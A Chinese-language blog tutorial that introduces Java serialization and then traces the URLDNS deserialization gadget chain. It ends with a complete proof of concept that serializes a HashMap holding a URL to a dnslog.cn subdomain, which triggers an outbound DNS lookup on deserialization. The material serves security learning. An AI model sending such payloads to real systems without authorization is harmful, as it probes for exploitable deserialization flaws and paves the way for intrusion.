[Java学习]11、Java反序列化URLDNS链

发布于 2022-05-22  23 次阅读



下面开始正式学习Javaweb安全

Java反序列化

为了方便数据的存储,于是乎有了现在的Java序列化于反序列化。序列化就是将Java对象存储到一个文件,反序列化则是读取序列化生产的文件,还原Java对象,常见的基础反序列化。

首先类需要实现Serializable这个接口,虽然这个接口里面没有东西,但是不实现这个接口则无法序列化。用transient 关键字修饰的属性除外,不参与序列化过程。

和PHP序列化和反序列基本一样

  • 参与序列化和反序列化的 Java 类
public class Student implements Serializable {
    private String name;
    private int age;
    //  以下省略有参构造、无参构造、set、get、toString
}

参与序列化和反序列化的类必须实现 Serializable 接口。

//序列化操作
public static void  Serialize(Object obj) throws Exception {

    //  对象输出流
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("obj"));
    // 使用 writeObject 序列化对象
    oos.writeObject(obj);
    // 刷新
    oos.flush();
    //  关闭流
    oos.close();
}
//序列化后的二进制文件会被保存到文件输出流指定的路径。

// 反序列化操作
public static void Deserialize() throws Exception {
    //  对象输入流
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("student"));
    //  使用 readObject() 反序列化  
    Object obj = ois.readObject();
    //  使用对象
    System.out.println(obj);
    //  关闭流
    ois.close();
//反序列化需要借助文件输入流读取指定路径的二进制文件。
}

例子如下:

package com.mytext.servlet;

import java.io.*;


class ser implements Serializable {
    public String name;
    public int age;

    public ser(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public void setName(String name) {
        this.name = name;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public int getAge() {
        return age;
    }

    public void out(){
        System.out.println(this.name) ;
         System.out.println(this.age) ;

    }
}
public class serializeout {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
         //实例化类
        ser st = new ser("name",12);
        FileOutputStream fos = new FileOutputStream("1");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(st);
        oos.flush();
        oos.close();

        fos.close();


        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1"));
        //  使用 readObject() 反序列化
        Object obj = ois.readObject();
        //  使用对象
        System.out.println(obj);
        //  关闭流
        ois.close();



    }


}


URLDNS链

URLDNS链的作用

URLDNS,它的功能正如其名发起DNS请求,因此无法回显,只能检测Java反序列化漏洞,构造好测试代码,然后开始调试。

根本目的通过HashMap的readObject读取一个序列化文件,然后通过这个序列化文件去访问到 InetAddress类中的getByName()方法,这个方法可以向外发送一个访问请求,从而检验Java反序列化漏洞。

HashMap最早出现在JDK 1.2中, 底层基于散列算法实现。而正是因为在HashMap中,Entry的存 放位置是根据Key的Hash值来计算,然后存放到数组中的。所以对于同一个Key, 在不同的JVM实现中计算得出的Hash值可能是不同的。因此,HashMap实现了自己的writeObject和readObject方法。

URLDNS链的形成

URLDNS链的起始位置就是HashMap类,因为是研究反序列化问题,所以我们来看一下它的readObject方法。

首先创建一个新的java类,

HashMap.readObject()

ctrl+左键点击HashMap跟进
并且找到readObject方法


这里发现readObject方法调用了hash方法
继续跟进

HashMap.hash()

发现了hash方法会调用key的hashCode的方法

那么key又是什么呢,回去看看。

继续看看K是什么数据类型呢,在HashMap类的开头我们可以看到官方给出的定义

  • 那么现在的思路就是,通过HashMap类的入口处传参,**我们的K要传入一个类,**并且这个类具有两个性质:
    • 这个类具有hashCode方法
    • 这个类的hashCode方法可以调用到InetAddress类中的getByName()方法

URL.hashCode()

假装我们早就知道URL.hashCode()方法可以构成链子来访问InetAddress类中的getByName()方法
现在跟进到URL这个类,找到hashCode方法

下面继续跟进

handler.hashCode()

这里我们发现,这里有一个InetAddress类

注意,我们的目的是要调用InetAddress类的getByName()方法,所以其他的方法我们先不看。
然后呢,跟进一下getHostAddress()方法

InetAddress getHostAddress()

看,这里我们就能访问到InetAddress.getByName()

  • 对于InetAddress的如何访问的细节,这里不过多的研究。下面开始构建链

构造好的链子:

HashMap.readObject()-->HashMap.hash()-->URL.hashCode()-->handler.hashCode()-->InetAddress getHostAddress()-->InetAddress.getByName()

传参接口

我们通过创建好的HashMap类通过HashMap.readObject()方法直接进入HashMap.hash()时我们好像并没有执行改变hashCode的值为不是-1(因为它默认值是-1)
(因为evict参数是false,跟进底层代码发现,这个开关是表示是否添加新结点的意思)

  • 这个时候,我们又找到了一个方法,put方法。他可以把hashCode的值改成value的值


使用put(url,22)传入参数即可

运行代码

写好代码然后添加一个序列化和反序列化的模板即可

首先找到dnslog.cn这个网站,可以验证我们是否访问到了这个网站,可是网站反应着实是巨慢

然后可以获取一个域名,添加到

        import java.io.*;
        import java.net.InetAddress;
        import java.net.URL;
        import java.net.URLConnection;
        import java.net.URLStreamHandler;
        import java.util.HashMap;

public class urldns {

    public static void main(String[] args) throws Exception {

        URL url= new URL("http://2fvfpv.dnslog.cn");
        HashMap<URL,Integer> hashmap=new HashMap<URL,Integer>();

        hashmap.put(url,23);
        Serialize(hashmap);
        Deserialize();



    }
    static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }

    //序列化操作
    public static void  Serialize(Object obj) throws Exception {

        //  对象输出流
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("obj"));
        // 使用 writeObject 序列化对象
        oos.writeObject(obj);
        // 刷新
        oos.flush();
        //  关闭流
        oos.close();
    }
//序列化后的二进制文件会被保存到文件输出流指定的路径。

    // 反序列化操作
    public static void Deserialize() throws Exception {
        //  对象输入流
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("obj"));
        //  使用 readObject() 反序列化
        Object obj = ois.readObject();
        //  使用对象
        System.out.println(obj);
        //  关闭流
        ois.close();
//反序列化需要借助文件输入流读取指定路径的二进制文件。
    }
}

 

运行代码过一会,可以看见网站上有一个回显,这表明我们访问到了这个网站!


“缘分让我们相遇乱世以外,命运却让我们危难中相爱”